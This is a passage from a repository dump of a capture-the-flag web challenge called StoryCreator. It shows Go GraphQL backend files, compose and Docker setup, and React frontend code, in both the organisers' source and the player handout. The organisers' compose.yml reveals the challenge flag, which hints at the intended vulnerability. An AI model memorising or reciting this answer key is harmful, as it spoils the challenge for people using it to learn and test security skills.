| ) 11 | 12 | func GetSqlite() (*sql.DB, error) { 13 | return sql.Open("sqlite3", "foo.db") 14 | } 15 | 16 | func GetPostgres(ctx context.Context, url string) (*sql.DB, error) { 17 | return sql.Open("pgx", url) 18 | } 19 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/pkg/flagcookie/flagcookie.go: -------------------------------------------------------------------------------- 1 | package flagcookie 2 | 3 | import "context" 4 | 5 | type flagcookieCtxKey struct{} 6 | 7 | var flagcookieCtxKeyInstance = &flagcookieCtxKey{} 8 | 9 | func SetFlagCookie(ctx context.Context, flagCookie string) context.Context { 10 | return context.WithValue(ctx, flagcookieCtxKeyInstance, flagCookie) 11 | } 12 | 13 | func GetFlagCookie(ctx context.Context) string { 14 | return ctx.Value(flagcookieCtxKeyInstance).(string) 15 | } 16 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/pkg/graph/gqlgen-directives.graphql: -------------------------------------------------------------------------------- 1 | # https://gqlgen.com/config/ 2 | # Directives from gqlgen to configure code-gen inline in the schema. 3 | 4 | directive @goModel( 5 | model: String 6 | models: [String!] 7 | forceGenerate: Boolean 8 | ) on OBJECT | INPUT_OBJECT | SCALAR | ENUM | INTERFACE | UNION 9 | 10 | directive @goField( 11 | forceResolver: Boolean 12 | name: String 13 | omittable: Boolean 14 | ) on INPUT_FIELD_DEFINITION | FIELD_DEFINITION 15 | 16 | directive @goTag( 17 | key: String! 18 | value: String 19 | ) on INPUT_FIELD_DEFINITION | FIELD_DEFINITION 20 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/pkg/graph/model/models_gen.go: -------------------------------------------------------------------------------- 1 | // Code generated by github.com/99designs/gqlgen, DO NOT EDIT. 2 | 3 | package model 4 | 5 | import ( 6 | "github.com/boxmein/cwte2024-chall/pkg/model" 7 | ) 8 | 9 | type Mutation struct { 10 | } 11 | 12 | type Query struct { 13 | } 14 | 15 | type StoryExportInput struct { 16 | StoryID int `json:"storyId"` 17 | Dimensions model.Dimensions `json:"dimensions"` 18 | } 19 | 20 | type StoryInput struct { 21 | Text string `json:"text"` 22 | Action string `json:"action"` 23 | Image int `json:"image"` 24 | } 25 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/pkg/graph/resolver.go: -------------------------------------------------------------------------------- 1 | package graph 2 | 3 | import ( 4 | "github.com/boxmein/cwte2024-chall/pkg/repository/exports" 5 | "github.com/boxmein/cwte2024-chall/pkg/repository/images" 6 | "github.com/boxmein/cwte2024-chall/pkg/repository/stories" 7 | ) 8 | 9 | //go:generate go run github.com/99designs/gqlgen generate 10 | 11 | // This file will not be regenerated automatically. 12 | // 13 | // It serves as dependency injection for your app, add any dependencies you require here. 14 | 15 | type ResolverDB struct { 16 | Stories stories.StoriesRepository 17 | Images images.ImagesRepository 18 | Exports exports.ExportsRepository 19 | } 20 | 21 | type Resolver struct { 22 | DB ResolverDB 23 | } 24 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/pkg/model/dimensions.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | type Dimensions string 4 | 5 | const ( 6 | DimensionsFlipperZero Dimensions = "FLIPPER_ZERO" 7 | DimensionsSamsungGalaxyFold Dimensions = "SAMSUNG_GALAXY_FOLD" 8 | DimensionsIphone14 Dimensions = "IPHONE_14" 9 | DimensionsIphone14Max Dimensions = "IPHONE_14_MAX" 10 | DimensionsSquare400x400 Dimensions = "SQUARE_400X400" 11 | ) 12 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/pkg/model/id.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | import "fmt" 4 | 5 | // ID is a newtype that represents an ID. It is just a string 6 | type ID string 7 | 8 | func ConvertToID(integerId int64) ID { 9 | return ID(fmt.Sprintf("%d", integerId)) 10 | } 11 | 12 | // ID is a newtype that represents an ID. It is just a string 13 | type StoryID string 14 | 15 | func ConvertToStoryID(integerId int64) StoryID { 16 | return StoryID(fmt.Sprintf("%d", integerId)) 17 | } 18 | 19 | // ID is a newtype that represents an ID. It is just a string 20 | type ImageID string 21 | 22 | func ConvertToImageID(integerId int64) ImageID { 23 | return ImageID(fmt.Sprintf("%d", integerId)) 24 | } 25 | 26 | // ID is a newtype that represents an ID. It is just a string 27 | type ExportID string 28 | 29 | func ConvertToExportID(integerId int64) ExportID { 30 | return ExportID(fmt.Sprintf("%d", integerId)) 31 | } 32 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/pkg/tenant/tenant.go: -------------------------------------------------------------------------------- 1 | package tenant 2 | 3 | import "context" 4 | 5 | type tenantCtxKey struct{} 6 | 7 | var tenantCtxKeyInstance = &tenantCtxKey{} 8 | 9 | func SetTenantID(ctx context.Context, tenantID string) context.Context { 10 | return context.WithValue(ctx, tenantCtxKeyInstance, tenantID) 11 | } 12 | 13 | func GetTenantID(ctx context.Context) string { 14 | return ctx.Value(tenantCtxKeyInstance).(string) 15 | } 16 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/backend/tools.go: -------------------------------------------------------------------------------- 1 | // go:build tools 2 | package tools 3 | 4 | import ( 5 | _ "github.com/99designs/gqlgen" 6 | ) 7 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/compose.yml: -------------------------------------------------------------------------------- 1 | 2 | services: 3 | beandfe: 4 | build: . 5 | image: ghcr.io/boxmein/cwte2024-challenge-backend:latest 6 | ports: 7 | - '8080:8080' 8 | environment: 9 | DATABASE_URL: postgres://postgres:postgres@db:5432/cwte2024 10 | FLAG: 'CTE24{pollution_is_bad}' 11 | GIN_MODE: release 12 | depends_on: 13 | db: 14 | condition: service_healthy 15 | 16 | db: 17 | image: postgres:16 18 | environment: 19 | POSTGRES_USER: postgres 20 | POSTGRES_PASSWORD: postgres 21 | POSTGRES_DB: cwte2024 22 | ports: 23 | - '5432:5432' 24 | volumes: 25 | - dbdata:/var/lib/postgresql/data 26 | - ./seed/:/docker-entrypoint-initdb.d/ 27 | healthcheck: 28 | test: ['CMD', 'pg_isready', '--username', 'postgres'] 29 | interval: 10s 30 | timeout: 5s 31 | retries: 10 32 | start_period: 120s 33 | volumes: 34 | dbdata: 35 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/.env: -------------------------------------------------------------------------------- 1 | VITE_API_URL=http://localhost:8080/api 2 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/.eslintrc.cjs: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | root: true, 3 | env: { browser: true, es2020: true }, 4 | extends: [ 5 | 'eslint:recommended', 6 | 'plugin:@typescript-eslint/recommended', 7 | 'plugin:react-hooks/recommended', 8 | ], 9 | ignorePatterns: ['dist', '.eslintrc.cjs'], 10 | parser: '@typescript-eslint/parser', 11 | plugins: ['react-refresh'], 12 | rules: { 13 | 'react-refresh/only-export-components': [ 14 | 'warn', 15 | { allowConstantExport: true }, 16 | ], 17 | }, 18 | } 19 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/.gitattributes: -------------------------------------------------------------------------------- 1 | * eol=lf text=auto 2 | 3 | *.cjs binary 4 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | pnpm-debug.log* 8 | lerna-debug.log* 9 | 10 | node_modules 11 | dist 12 | dist-ssr 13 | *.local 14 | 15 | # Editor directories and files 16 | .vscode/* 17 | !.vscode/extensions.json 18 | .idea 19 | .DS_Store 20 | *.suo 21 | *.ntvs* 22 | *.njsproj 23 | *.sln 24 | *.sw? 25 | 26 | .yarn/install-state.gz 27 | .yarn/cache 28 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "tabWidth": 2, 3 | "semi": true, 4 | "useTabs": false 5 | } 6 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/.yarnrc.yml: -------------------------------------------------------------------------------- 1 | nodeLinker: node-modules 2 | 3 | yarnPath: .yarn/releases/yarn-4.3.1.cjs 4 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22 AS builder 2 | WORKDIR /app 3 | COPY package.json yarn.lock .yarnrc.yml /app/ 4 | COPY .yarn /app/.yarn 5 | RUN yarn install --immutable 6 | COPY . . 7 | RUN yarn build 8 | FROM nginx:alpine AS final 9 | COPY --from=builder /app/dist /usr/share/nginx/html 10 | COPY nginx.conf /etc/nginx/nginx.conf 11 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Story Builder 8 | 9 | 10 |
11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/src/components/FullPageLoading.tsx: -------------------------------------------------------------------------------- 1 | import styled from "@emotion/styled"; 2 | import { CircularProgress } from "@mui/material"; 3 | 4 | const Layout = styled.div` 5 | width: 500px; 6 | height: 400px; 7 | display: flex; 8 | flex-direction: column; 9 | justify-content: center; 10 | align-items: center; 11 | gap: 35px; 12 | `; 13 | 14 | export function FullPageLoading() { 15 | return ( 16 | 17 | 18 |

Loading...

19 |
20 | ); 21 | } 22 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/src/main.css: -------------------------------------------------------------------------------- 1 | html,body { 2 | width: 100%; 3 | height: 100%; 4 | margin: 0; 5 | padding: 0; 6 | } 7 | 8 | 9 | #root { 10 | min-height: 100vh; 11 | } 12 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/src/pages/ListStoriesPage/ListStoriesPage.tsx: -------------------------------------------------------------------------------- 1 | import { gql, useQuery } from "@apollo/client"; 2 | import { Alert } from "@mui/material"; 3 | import { NavLink } from "react-router-dom"; 4 | import { FullPageLoading } from "../../components/FullPageLoading"; 5 | 6 | export function ListStoriesPage() { 7 | const { loading, error, data } = useQuery(gql` 8 | query ListStories { 9 | stories { 10 | id 11 | text 12 | } 13 | } 14 | `); 15 | 16 | if (loading) { 17 | return ; 18 | } 19 | 20 | return ( 21 | <> 22 |

My Stories

23 | {error && Error: {error.message}} 24 |
    25 | {data.stories.map((story: { id: number; text: string }) => ( 26 |
  • 27 | {story.text} 28 |
  • 29 | ))} 30 |
31 | 32 | ); 33 | } 34 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/src/pages/ViewStoryPage/ViewStoryPage.tsx: -------------------------------------------------------------------------------- 1 | import { gql, useQuery } from "@apollo/client"; 2 | import { Alert } from "@mui/material"; 3 | import { useParams } from "react-router-dom"; 4 | import { FullPageLoading } from "../../components/FullPageLoading"; 5 | import { RenderStory } from "../../components/story"; 6 | 7 | export function ViewStoryPage() { 8 | const { id } = useParams(); 9 | const { data, loading, error } = useQuery( 10 | gql` 11 | query ViewStoryPage($id: Int!) { 12 | foo 13 | story(id: $id) { 14 | id 15 | text 16 | action 17 | image { 18 | url 19 | } 20 | } 21 | } 22 | `, 23 | { variables: { id } }, 24 | ); 25 | 26 | if (loading) { 27 | return ; 28 | } 29 | 30 | return ( 31 | <> 32 |

View Story

33 | {error && Error: {error.message}} 34 | {data && } 35 | 36 | ); 37 | } 38 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/src/vite-env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/tsconfig.app.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "composite": true, 4 | "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo", 5 | "target": "ES2020", 6 | "useDefineForClassFields": true, 7 | "lib": ["ES2020", "DOM", "DOM.Iterable"], 8 | "module": "ESNext", 9 | "skipLibCheck": true, 10 | 11 | /* Bundler mode */ 12 | "moduleResolution": "bundler", 13 | "allowImportingTsExtensions": true, 14 | "resolveJsonModule": true, 15 | "isolatedModules": true, 16 | "moduleDetection": "force", 17 | "noEmit": true, 18 | "jsx": "react-jsx", 19 | 20 | /* Linting */ 21 | "strict": true, 22 | "noUnusedLocals": true, 23 | "noUnusedParameters": true, 24 | "noFallthroughCasesInSwitch": true 25 | }, 26 | "include": ["src"] 27 | } 28 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "files": [], 3 | "references": [ 4 | { 5 | "path": "./tsconfig.app.json" 6 | }, 7 | { 8 | "path": "./tsconfig.node.json" 9 | } 10 | ] 11 | } 12 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/tsconfig.node.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "composite": true, 4 | "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo", 5 | "skipLibCheck": true, 6 | "module": "ESNext", 7 | "moduleResolution": "bundler", 8 | "allowSyntheticDefaultImports": true, 9 | "strict": true, 10 | "noEmit": true 11 | }, 12 | "include": ["vite.config.ts"] 13 | } 14 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/frontend/vite.config.ts: -------------------------------------------------------------------------------- 1 | import { defineConfig } from 'vite' 2 | import react from '@vitejs/plugin-react-swc' 3 | 4 | // https://vitejs.dev/config/ 5 | export default defineConfig({ 6 | plugins: [react()], 7 | }) 8 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.22 AS bebuilder 2 | WORKDIR /source 3 | COPY backend/go.mod backend/go.sum /source/ 4 | RUN go mod download 5 | COPY backend/ . 6 | RUN uname -a && go build -o server ./cmd/server 7 | 8 | FROM node:22 AS febuilder 9 | WORKDIR /app 10 | COPY frontend/package.json frontend/yarn.lock frontend/.yarnrc.yml /app/ 11 | COPY frontend/.yarn /app/.yarn 12 | RUN yarn install --immutable 13 | COPY frontend/ . 14 | RUN yarn build 15 | 16 | # FROM gcr.io/distroless/cc AS final 17 | FROM debian:latest AS final 18 | RUN apt-get -y update && apt-get -y install chromium && rm -rf /var/lib/apt/lists/* 19 | COPY --from=bebuilder /source/server /server 20 | COPY --from=febuilder /app/dist /frontend 21 | ENV FRONTEND_DIST /frontend/ 22 | # USER nonroot 23 | CMD ["/server"] 24 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | foo.db 3 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/justfile: -------------------------------------------------------------------------------- 1 | 2 | tidy: 3 | go mod tidy 4 | 5 | gen: 6 | go generate ./... 7 | 8 | run: gen tidy 9 | FRONTEND_URL=http://localhost:8080 \ 10 | FLAG=CTE24{foo} \ 11 | DATABASE_URL=postgres://postgres:postgres@localhost:5432/cwte2024 \ 12 | FRONTEND_DIST=../frontend/dist \ 13 | go run ./cmd/server 14 | 15 | test: tidy 16 | go test ./pkg/... 17 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/pkg/apq/cache.go: -------------------------------------------------------------------------------- 1 | package apq 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/99designs/gqlgen/graphql" 7 | "github.com/boxmein/cwte2024-chall/pkg/smallhmap" 8 | "github.com/boxmein/cwte2024-chall/pkg/tenant" 9 | ) 10 | 11 | type APQCache struct { 12 | queries smallhmap.SmallHmap 13 | } 14 | 15 | // Add implements graphql.Cache. 16 | func (a *APQCache) Add(ctx context.Context, key string, value any) { 17 | t := tenant.GetTenantID(ctx) 18 | key = t + key 19 | a.queries.Add(ctx, key, value) 20 | } 21 | 22 | // Get implements graphql.Cache. 23 | func (a *APQCache) Get(ctx context.Context, key string) (value any, ok bool) { 24 | t := tenant.GetTenantID(ctx) 25 | key = t + key 26 | return a.queries.Get(ctx, key) 27 | } 28 | 29 | var _ graphql.Cache = (*APQCache)(nil) 30 | 31 | func NewAPQCache() graphql.Cache { 32 | return &APQCache{queries: smallhmap.New()} 33 | } 34 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/pkg/db/db.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | 7 | _ "github.com/jackc/pgx/v5/stdlib" 8 | 9 | _ "github.com/mattn/go-sqlite3" 10 | ) 11 | 12 | func GetSqlite() (*sql.DB, error) { 13 | return sql.Open("sqlite3", "foo.db") 14 | } 15 | 16 | func GetPostgres(ctx context.Context, url string) (*sql.DB, error) { 17 | return sql.Open("pgx", url) 18 | } 19 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/pkg/flagcookie/flagcookie.go: -------------------------------------------------------------------------------- 1 | package flagcookie 2 | 3 | import "context" 4 | 5 | type flagcookieCtxKey struct{} 6 | 7 | var flagcookieCtxKeyInstance = &flagcookieCtxKey{} 8 | 9 | func SetFlagCookie(ctx context.Context, flagCookie string) context.Context { 10 | return context.WithValue(ctx, flagcookieCtxKeyInstance, flagCookie) 11 | } 12 | 13 | func GetFlagCookie(ctx context.Context) string { 14 | return ctx.Value(flagcookieCtxKeyInstance).(string) 15 | } 16 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/pkg/graph/gqlgen-directives.graphql: -------------------------------------------------------------------------------- 1 | # https://gqlgen.com/config/ 2 | # Directives from gqlgen to configure code-gen inline in the schema. 3 | 4 | directive @goModel( 5 | model: String 6 | models: [String!] 7 | forceGenerate: Boolean 8 | ) on OBJECT | INPUT_OBJECT | SCALAR | ENUM | INTERFACE | UNION 9 | 10 | directive @goField( 11 | forceResolver: Boolean 12 | name: String 13 | omittable: Boolean 14 | ) on INPUT_FIELD_DEFINITION | FIELD_DEFINITION 15 | 16 | directive @goTag( 17 | key: String! 18 | value: String 19 | ) on INPUT_FIELD_DEFINITION | FIELD_DEFINITION 20 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/pkg/graph/model/models_gen.go: -------------------------------------------------------------------------------- 1 | // Code generated by github.com/99designs/gqlgen, DO NOT EDIT. 2 | 3 | package model 4 | 5 | import ( 6 | "github.com/boxmein/cwte2024-chall/pkg/model" 7 | ) 8 | 9 | type Mutation struct { 10 | } 11 | 12 | type Query struct { 13 | } 14 | 15 | type StoryExportInput struct { 16 | StoryID int `json:"storyId"` 17 | Dimensions model.Dimensions `json:"dimensions"` 18 | } 19 | 20 | type StoryInput struct { 21 | Text string `json:"text"` 22 | Action string `json:"action"` 23 | Image int `json:"image"` 24 | } 25 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/pkg/graph/resolver.go: -------------------------------------------------------------------------------- 1 | package graph 2 | 3 | import ( 4 | "github.com/boxmein/cwte2024-chall/pkg/repository/exports" 5 | "github.com/boxmein/cwte2024-chall/pkg/repository/images" 6 | "github.com/boxmein/cwte2024-chall/pkg/repository/stories" 7 | ) 8 | 9 | //go:generate go run github.com/99designs/gqlgen generate 10 | 11 | // This file will not be regenerated automatically. 12 | // 13 | // It serves as dependency injection for your app, add any dependencies you require here. 14 | 15 | type ResolverDB struct { 16 | Stories stories.StoriesRepository 17 | Images images.ImagesRepository 18 | Exports exports.ExportsRepository 19 | } 20 | 21 | type Resolver struct { 22 | DB ResolverDB 23 | } 24 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/pkg/model/dimensions.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | type Dimensions string 4 | 5 | const ( 6 | DimensionsFlipperZero Dimensions = "FLIPPER_ZERO" 7 | DimensionsSamsungGalaxyFold Dimensions = "SAMSUNG_GALAXY_FOLD" 8 | DimensionsIphone14 Dimensions = "IPHONE_14" 9 | DimensionsIphone14Max Dimensions = "IPHONE_14_MAX" 10 | DimensionsSquare400x400 Dimensions = "SQUARE_400X400" 11 | ) 12 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/pkg/model/id.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | import "fmt" 4 | 5 | // ID is a newtype that represents an ID. It is just a string 6 | type ID string 7 | 8 | func ConvertToID(integerId int64) ID { 9 | return ID(fmt.Sprintf("%d", integerId)) 10 | } 11 | 12 | // ID is a newtype that represents an ID. It is just a string 13 | type StoryID string 14 | 15 | func ConvertToStoryID(integerId int64) StoryID { 16 | return StoryID(fmt.Sprintf("%d", integerId)) 17 | } 18 | 19 | // ID is a newtype that represents an ID. It is just a string 20 | type ImageID string 21 | 22 | func ConvertToImageID(integerId int64) ImageID { 23 | return ImageID(fmt.Sprintf("%d", integerId)) 24 | } 25 | 26 | // ID is a newtype that represents an ID. It is just a string 27 | type ExportID string 28 | 29 | func ConvertToExportID(integerId int64) ExportID { 30 | return ExportID(fmt.Sprintf("%d", integerId)) 31 | } 32 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/pkg/tenant/tenant.go: -------------------------------------------------------------------------------- 1 | package tenant 2 | 3 | import "context" 4 | 5 | type tenantCtxKey struct{} 6 | 7 | var tenantCtxKeyInstance = &tenantCtxKey{} 8 | 9 | func SetTenantID(ctx context.Context, tenantID string) context.Context { 10 | return context.WithValue(ctx, tenantCtxKeyInstance, tenantID) 11 | } 12 | 13 | func GetTenantID(ctx context.Context) string { 14 | return ctx.Value(tenantCtxKeyInstance).(string) 15 | } 16 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/backend/tools.go: -------------------------------------------------------------------------------- 1 | // go:build tools 2 | package tools 3 | 4 | import ( 5 | _ "github.com/99designs/gqlgen" 6 | ) 7 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/compose.yml: -------------------------------------------------------------------------------- 1 | 2 | services: 3 | beandfe: 4 | build: . 5 | image: ghcr.io/boxmein/cwte2024-challenge-backend:latest 6 | ports: 7 | - '8080:8080' 8 | environment: 9 | DATABASE_URL: postgres://postgres:postgres@db:5432/cwte2024 10 | FLAG: 'CTE24{flag}' 11 | GIN_MODE: release 12 | depends_on: 13 | db: 14 | condition: service_healthy 15 | 16 | db: 17 | image: postgres:16 18 | environment: 19 | POSTGRES_USER: postgres 20 | POSTGRES_PASSWORD: postgres 21 | POSTGRES_DB: cwte2024 22 | ports: 23 | - '5432:5432' 24 | volumes: 25 | - dbdata:/var/lib/postgresql/data 26 | - ./seed/:/docker-entrypoint-initdb.d/ 27 | healthcheck: 28 | test: ['CMD', 'pg_isready', '--username', 'postgres'] 29 | interval: 10s 30 | timeout: 5s 31 | retries: 10 32 | start_period: 120s 33 | volumes: 34 | dbdata: 35 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/.env: -------------------------------------------------------------------------------- 1 | VITE_API_URL=http://localhost:8080/api 2 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/.eslintrc.cjs: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | root: true, 3 | env: { browser: true, es2020: true }, 4 | extends: [ 5 | 'eslint:recommended', 6 | 'plugin:@typescript-eslint/recommended', 7 | 'plugin:react-hooks/recommended', 8 | ], 9 | ignorePatterns: ['dist', '.eslintrc.cjs'], 10 | parser: '@typescript-eslint/parser', 11 | plugins: ['react-refresh'], 12 | rules: { 13 | 'react-refresh/only-export-components': [ 14 | 'warn', 15 | { allowConstantExport: true }, 16 | ], 17 | }, 18 | } 19 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/.gitattributes: -------------------------------------------------------------------------------- 1 | * eol=lf text=auto 2 | 3 | *.cjs binary 4 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | pnpm-debug.log* 8 | lerna-debug.log* 9 | 10 | node_modules 11 | dist 12 | dist-ssr 13 | *.local 14 | 15 | # Editor directories and files 16 | .vscode/* 17 | !.vscode/extensions.json 18 | .idea 19 | .DS_Store 20 | *.suo 21 | *.ntvs* 22 | *.njsproj 23 | *.sln 24 | *.sw? 25 | 26 | .yarn/install-state.gz 27 | .yarn/cache 28 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "tabWidth": 2, 3 | "semi": true, 4 | "useTabs": false 5 | } 6 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/.yarnrc.yml: -------------------------------------------------------------------------------- 1 | nodeLinker: node-modules 2 | 3 | yarnPath: .yarn/releases/yarn-4.3.1.cjs 4 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22 AS builder 2 | WORKDIR /app 3 | COPY package.json yarn.lock .yarnrc.yml /app/ 4 | COPY .yarn /app/.yarn 5 | RUN yarn install --immutable 6 | COPY . . 7 | RUN yarn build 8 | FROM nginx:alpine AS final 9 | COPY --from=builder /app/dist /usr/share/nginx/html 10 | COPY nginx.conf /etc/nginx/nginx.conf 11 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Story Builder 8 | 9 | 10 |
11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/src/components/FullPageLoading.tsx: -------------------------------------------------------------------------------- 1 | import styled from "@emotion/styled"; 2 | import { CircularProgress } from "@mui/material"; 3 | 4 | const Layout = styled.div` 5 | width: 500px; 6 | height: 400px; 7 | display: flex; 8 | flex-direction: column; 9 | justify-content: center; 10 | align-items: center; 11 | gap: 35px; 12 | `; 13 | 14 | export function FullPageLoading() { 15 | return ( 16 | 17 | 18 |

Loading...

19 |
20 | ); 21 | } 22 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/src/main.css: -------------------------------------------------------------------------------- 1 | html,body { 2 | width: 100%; 3 | height: 100%; 4 | margin: 0; 5 | padding: 0; 6 | } 7 | 8 | 9 | #root { 10 | min-height: 100vh; 11 | } 12 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/src/pages/ListStoriesPage/ListStoriesPage.tsx: -------------------------------------------------------------------------------- 1 | import { gql, useQuery } from "@apollo/client"; 2 | import { Alert } from "@mui/material"; 3 | import { NavLink } from "react-router-dom"; 4 | import { FullPageLoading } from "../../components/FullPageLoading"; 5 | 6 | export function ListStoriesPage() { 7 | const { loading, error, data } = useQuery(gql` 8 | query ListStories { 9 | stories { 10 | id 11 | text 12 | } 13 | } 14 | `); 15 | 16 | if (loading) { 17 | return ; 18 | } 19 | 20 | return ( 21 | <> 22 |

My Stories

23 | {error && Error: {error.message}} 24 |
    25 | {data.stories.map((story: { id: number; text: string }) => ( 26 |
  • 27 | {story.text} 28 |
  • 29 | ))} 30 |
31 | 32 | ); 33 | } 34 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/src/pages/ViewStoryPage/ViewStoryPage.tsx: -------------------------------------------------------------------------------- 1 | import { gql, useQuery } from "@apollo/client"; 2 | import { Alert } from "@mui/material"; 3 | import { useParams } from "react-router-dom"; 4 | import { FullPageLoading } from "../../components/FullPageLoading"; 5 | import { RenderStory } from "../../components/story"; 6 | 7 | export function ViewStoryPage() { 8 | const { id } = useParams(); 9 | const { data, loading, error } = useQuery( 10 | gql` 11 | query ViewStoryPage($id: Int!) { 12 | foo 13 | story(id: $id) { 14 | id 15 | text 16 | action 17 | image { 18 | url 19 | } 20 | } 21 | } 22 | `, 23 | { variables: { id } }, 24 | ); 25 | 26 | if (loading) { 27 | return ; 28 | } 29 | 30 | return ( 31 | <> 32 |

View Story

33 | {error && Error: {error.message}} 34 | {data && } 35 | 36 | ); 37 | } 38 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/src/vite-env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/tsconfig.app.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "composite": true, 4 | "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo", 5 | "target": "ES2020", 6 | "useDefineForClassFields": true, 7 | "lib": ["ES2020", "DOM", "DOM.Iterable"], 8 | "module": "ESNext", 9 | "skipLibCheck": true, 10 | 11 | /* Bundler mode */ 12 | "moduleResolution": "bundler", 13 | "allowImportingTsExtensions": true, 14 | "resolveJsonModule": true, 15 | "isolatedModules": true, 16 | "moduleDetection": "force", 17 | "noEmit": true, 18 | "jsx": "react-jsx", 19 | 20 | /* Linting */ 21 | "strict": true, 22 | "noUnusedLocals": true, 23 | "noUnusedParameters": true, 24 | "noFallthroughCasesInSwitch": true 25 | }, 26 | "include": ["src"] 27 | } 28 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "files": [], 3 | "references": [ 4 | { 5 | "path": "./tsconfig.app.json" 6 | }, 7 | { 8 | "path": "./tsconfig.node.json" 9 | } 10 | ] 11 | } 12 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/tsconfig.node.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "composite": true, 4 | "tsBuildInfoFile": 